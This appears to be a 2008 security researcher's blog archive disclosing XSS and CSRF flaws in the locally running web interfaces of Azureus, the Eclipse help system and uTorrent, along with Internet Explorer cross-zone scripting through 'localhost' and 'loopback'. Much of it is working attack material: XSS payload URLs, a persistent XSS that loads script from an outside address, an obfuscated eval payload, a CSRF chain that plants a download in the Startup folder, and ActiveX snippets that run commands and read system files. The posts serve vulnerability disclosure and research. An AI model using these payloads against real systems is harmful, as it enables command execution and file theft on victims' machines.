Wednesday, June 25, 2008

[ Cross Environment Hopping ]

This is a subject that's near and dear to my heart.


Very good post detailing the dangers of what's been dubbed "Cross Environment Hopping" along with some thought provoking commentary. I love me some locally running web servers/applications. Gets me all excited just thinking about it! Great research guys.

Labels: , , , , , , , ,

Wednesday, April 30, 2008

[ Azureus Web UI XSS ]

Like I said in my uTorrent CSRF post, "more torrent pwnage to come soon". Here it is.


The web UI plugin for Azureus is vulnerable to XSS which leads to Cross Zone scripting attacks since it starts up a web server on the local host and runs a web application.

I won't take the time to explain what all this means since I've done that at length in previous posts. I'll just summarize and say that through these vectors the user is vulnerable to arbitrary command execution, arbitrary read/write of files, and bypass of the same-origin policy (depending on the browser version the victim is using). Let's get right to the attacks.


http://localhost:6886/index.tmpl?search="));alert('xss');//

The vector listed above is one that I found in the search functionality of Azureus.

http://localhost:6886/index.tmpl?d=d&t="));alert('xss');//

And this one Nate found in the torrent details functionality. Obviously the "alert"s are just for PoC.


The post I referenced in a previous blog entry where I disclosed my uTorrent flaws has an example of an interesting CSRF related to the Azureus web UI, although this doesn't lead to system compromise necessarily.

Anyway, this is just another example of how web applications that have been coded with little thought towards security being run on your local machine are highly dangerous.

Labels: , , , , , , , , , , ,

Thursday, April 24, 2008

[ Eclipse Local Web Server Exploitation ]

I'm starting to feel a bit redundant here...


Oh well. I've been told that there is a patch available now for this issue so I'm free to talk about it.

I discovered XSS vulnerabilities in the Eclipse help system. Apparently just about all products based on Eclipse are/were vulnerable.

Since the vulnerability is XSS in a locally running web server (hrm, where have we heard that before...) if the user is running IE they may be in trouble.


When you click on Help -> Help Contents a web server is started up on the local machine. Upon further investigation I discovered that this server is an Apache Coyote 1.1 web server. The web server seems to be started on a pseudo-random port but it felt like a lot of the port numbers were used quite frequently. I never performed any kind of analysis on the random number generation for the port number so I'll leave that to someone else if they want to.

Anyway, let's get to the pwnage. Here's the location of the reflected XSS in the Eclipse Help System:

http://localhost:port/help/advanced/searchView.jsp?searchWord=a");}alert('xss');
</script>


Here's the location of the persistent XSS:

http://localhost:port/help/advanced/workingSetManager.jsp?operation=add&
workingSet='%3E%3Cscript%20src%3D'http%3A%2F%2F1.2.3.4%2Fa.js'%3E%3C%2Fscript%3E
&hrefs=%2Fcom.adobe.flexbuilder.help.api%2Ftoc.xml&oldName=

One thing I did find particularly interesting was trying to work around the fact that when I exploited the reflective XSS the web app did not change %20's back into spaces. It took a little thinking to get around this, but I managed.

So how does one write a Javascript payload with no spaces? Pretty simply actually. Let's take this snippet of sample code that we want to use for our payload:

function f(){
    var hr = new ActiveXObject("Msxml2.XMLHTTP");
    hr.onreadystatechange = function(){
       alert(hr.responseText);
    };
    hr.open("GET","http://www.google.com",true);
    hr.send(null);
}

setTimeout('f()',2000);

First of all, the "var" keyword is not needed. You can perform implicit variable declaration in Javascript. But what about the rest? What I did was get rid of all the whitespace that wasn't needed and came up with this:

function f(){hr=new ActiveXObject("Msxml2.XMLHTTP");hr.onreadystatechange=function(){
alert(hr.responseText);};hr.open("GET","http://www.google.com",true);hr.send(null);}
setTimeout('f()',2000);

That's pretty messy looking, but there are still spaces in there. What I did next was put that entire thing into a string and replaced the spaces with "..".

b="function..f(){hr=new..ActiveXObject("Msxml2.XMLHTTP");hr.onreadystatechange=
function(){alert(hr.responseText);};hr.open("GET","http://www.google.com",true);
hr.send(null);}setTimeout('f()',2000);";

But if you eval that string it's not going to work because of the ".." characters replacing the spaces. Just use the replace function!

b="function..f(){hr=new..ActiveXObject("Msxml2.XMLHTTP");hr.onreadystatechange=
function(){alert(hr.responseText);};hr.open("GET","http://www.google.com",true);
hr.send(null);}setTimeout('f()',2000);";
a=a.replace(/\.\./g,String.fromCharCode(32));
eval(a);

If we put it all together we have this as our XSS attack string:

http://127.0.0.1:55610/help/advanced/searchView.jsp?searchWord=a");}b="function..f
(){hr=new..ActiveXObject(\"Msxml2.XMLHTTP\");hr.onreadystatechange=function()..{
alert(hr.responseText);};hr.open(\"GET\",\"http://www.google.com\",true);hr.send
(null);}setTimeout('f()',2000);";b=b.replace(/\.\./g,String.fromCharCode(32));
eval(b);</script>


Labels: , , , , , , ,

Sunday, April 20, 2008

[ toorcon Seattle was Awesome ]

I had a great time at toorcon Seattle. The talks were awesome.


Dan Kaminsky dropped a bomb about how ISPs were taking non-existent subdomains and redirecting them to ad-servers. And let's say these web sites serving up these ads contain an XSS...yeah, MASS pwnage. Gotta love how docucment.domain works. Dan actually rickrolled us all.

And then John Heasman's talk about the Java browser plugin and Java Web Start was equally enlightening. Sun has some major problems in their implementations of certain aspects of Java. Anyway, I hope Kev is included more in the next version of his talk...

Katie Moussouris gave a pretty interesting talk on her role at Microsoft and what they're trying to do for responsible disclosure...WHAT? I said Microsoft really is advocating responsible disclosure these days...WHAT?! I said Microsoft seems to really be turning things around...OK!!!!


The talk Nate and I did on URI Use and Abuse seemed to get a good response as well. Anyway, there were other great talks that I'm too tired to include right now, but I just want to commend the toorcon team. They really outdid themselves with the parties they threw at the Public N3rd Area and the Last Supper Club. Hats off to all of them. Toorcon San Diego last year was the first one I had ever been to but I'm going to try to make it a point to come back to as many toorcons as possible.


Especially the one in the cooling tower of the half-built nuclear plant!

Labels: , , , , , , , ,

Saturday, April 19, 2008

[ uTorrent Pwn3d ]

I was going to keep this under my hat, so to speak, but this has forced my hand.


I found a few CSRFs that when put together can make a pretty devastating attack against uTorrent's Web UI and the underlying system. Basically you can force uTorrent to move completed downloads to an arbitrary directory on their system, download arbitrary torrents, and completely pwn their box.

This guy from rooksecurity.com had a couple interesting CSRFs that will change the username and password required for the Web UI. But, in order for the attacker to change the username and password the user must already be authenticated...so why go to all that trouble? For this attack we're going to assume that the user is already authenticated to uTorrent's Web UI.

First of all you need a way to get a file on their computer. Not only that, but you want to be able to put that file in an arbitrary location of your choosing. To do that you need to turn on uTorrent's "Move completed downloads to" option.


Then you need to tell uTorrent what directory to move the completed file to.


The URL is cut off in the screenshot, so here's what's actually happening:

http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\
Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup

And this is what uTorrent's downloads preferences should now look like:


Completed files will be moved to the All Users Startup folder and once we can force them to download files we effectively have pwnage. I actually can force them to download a torrent by doing the following:

http://localhost:14774/gui/?action=add-url&s=http://www.whatever.com/file.torrent

Let's say that the torrent makes uTorrent download pwn.bat. Once the download finishes, pwn.bat resides in the Startup folder and gets executed when the user reboots. But wait, it gets worse...

uTorrent has an XSS in the Web UI! Remember my previous two posts about the dangers of local web servers? There are actually a few different spots to exploit this. Here are the PoC strings for the XSS vectors.

http://localhost:14774/gui/?action=setsetting&s=tracker_ip&
v=%3Cscript%3Ealert('xss')%3C/script%3E

http://localhost:14774/gui/?action=setsetting&s=ct_hist_comm&
v=%3Cscript%3Ealert('xss')%3C/script%3E

http://localhost:14774/gui/?action=setsetting&s=dir_active_download&
v=%3Cscript%3Ealert('xss')%3C/script%3E


These are ALL persistent XSS attacks. To make the malicious Javascript fire you need to force the user's browser to visit

http://localhost:14774/gui/?action=getsettings

Remember, the "localhost" portion is VERY important because you want to perform a Cross ZONE Scripting attack, not just XSS. You could use "loopback" in place of "localhost" as well. So, moving on...


If your target is using IE 6 then you don't have to force them to download a file to the Startup folder and wait for them to restart their box. All you have to do is force them to download the file to a location like C:\ and then execute it for them with the WScript.Shell ActiveXObject since your Javascript is in the Local Intranet zone.


Pwn3d. Stay tuned, more torrent pwnage to come soon...

Labels: , , , , , , , , ,

Friday, April 04, 2008

[ More On Local Web Servers ]

Just thought I'd post a little discovery I made on the plane-ride home from San Jose. I was looking around in the C:\WINDOWS\system32\drivers\etc directory where the "hosts" file resides and found a file called "networks".


In this file there's a line that looks like this:

loopback                 127

Interesting. I fired up my little web server script that I wrote in Perl, entered "http://loopback" into the address bar of Internet Explorer and magically, I'm in the Local Intranet zone, our sweet spot from my previous post on this topic.


So this is yet another way we can perform Cross Zone Scripting if there's an XSS on a locally running web server.

Labels: , , , , , , ,

Wednesday, March 05, 2008

[ Local Web Servers Are Dangerous ]

edit:
Well, I found out that command execution and file access are not possible through the local intranet zone using default settings. Some of the machines I was testing turned out to have tweaked intranet settings. I should've checked that, but I'm correcting my mistake now. BUT! Check out John Heasman's post on how to use Java in conjunction with the weaker security policy of the local intranet zone to steal password hashes.


The title of this post may seem fairly obvious to those of you in the computer security field. Having a web server running on your machine opens up a plethora of attack vectors; command injection, SQL injection, file upload vulnerabilities, etc. But what I'm posting about today is slightly different from anything else I've seen on the subject.

What if there is a web application on the local web server that is vulnerable to XSS? And what if you are browsing from that machine? Are there any devastating attack vectors regarding this setup that you can think of? I can: Cross-Zone Scripting. The subject of cross-zone scripting has clearly been talked about before, but I'm not sure it's been talked about (at least that I've seen) in this particular context. Let me explain.


There are a few zones in Internet Explorer that we're worried about for this attack. The Internet zone is pretty well restricted. It enforces the same-origin policy, doesn't allow you to load certain ActiveX objects and so on. The Local Intranet zone on the other hand is much less restricted. The Trusted zone is not very restricted either but requires user interaction to put us in that zone. And the Restricted zone is, obviously, very restricted. For brevity's sake, I'll just tell you that the Local Intranet zone is the zone we want to try to get our malicious payload into.


Now, in the context of the scenario I just outlined above, how do we do this?

There are three different ways we can get into the Local Intranet zone.
  • The site must have been connected to previously using the Universal Naming Convention (\\1.2.3.4\share)

  • The site must be in the proxy exceptions list

  • The site cannot contain any dots (.) in its name
Conditions 1 and 2 are going to be difficult to fulfill unless we're in possession of some 1337 ninja hacker 0dayz. Condition 3 is our ticket to mass bl00dy pwnage. At first glance it might seem like we're limited by the dot (.) predicate when we think of the local computer address. The IP 127.0.0.1 is in the internet zone because of the dots in the IP addressing format itself. But, the name "localhost" has no dots in it and just so happens to be in the Local Intranet zone.

So if our attacker injects some malicious Javascript into our local web application like this:

http://localhost/?<script>h=new%20ActiveXObject("Msxml2.XMLHTTP");....</script>

That script will be executed in the Local Intranet zone. But what does that give us as far as pwnage vectors? A lot.
  • Same-origin is NOT enforced in the Local Intranet zone (IE 6 and 7)

  • Can read and write files on the local system using a Scripting.FileSystemObject ActiveX object (IE 6)

  • Can execute arbitrary commands on the local operating system using a WScript.Shell ActiveX object (IE 6)
Ouch.

Incidentally, this all ties in with the research I've been involved in with Nate and Billy in the past, specifically with the Picasa exploit. Always ask yourself, "why are these applications running web servers on my box?" You may not be able to think of a good answer.

edit:
I thought it might be nice to provide some Javascript code so anybody can try this.

Command Execution:
a = new ActiveXObject("WScript.Shell");
a.run("notepad");

File Access:
a = new ActiveXObject("Scripting.FileSystemObject");
b = a.OpenTextFile("C:\boot.ini");
alert(b.ReadLine);

XMLHTTP Request:
hr = new ActiveXObject("MSxml2.XMLHTTP");
hr.onreadystatechange = function() {
    alert(hr.responseText);
}
hr.open("GET", "http://www.google.com", true);
hr.send(null);


Labels: , , , , , ,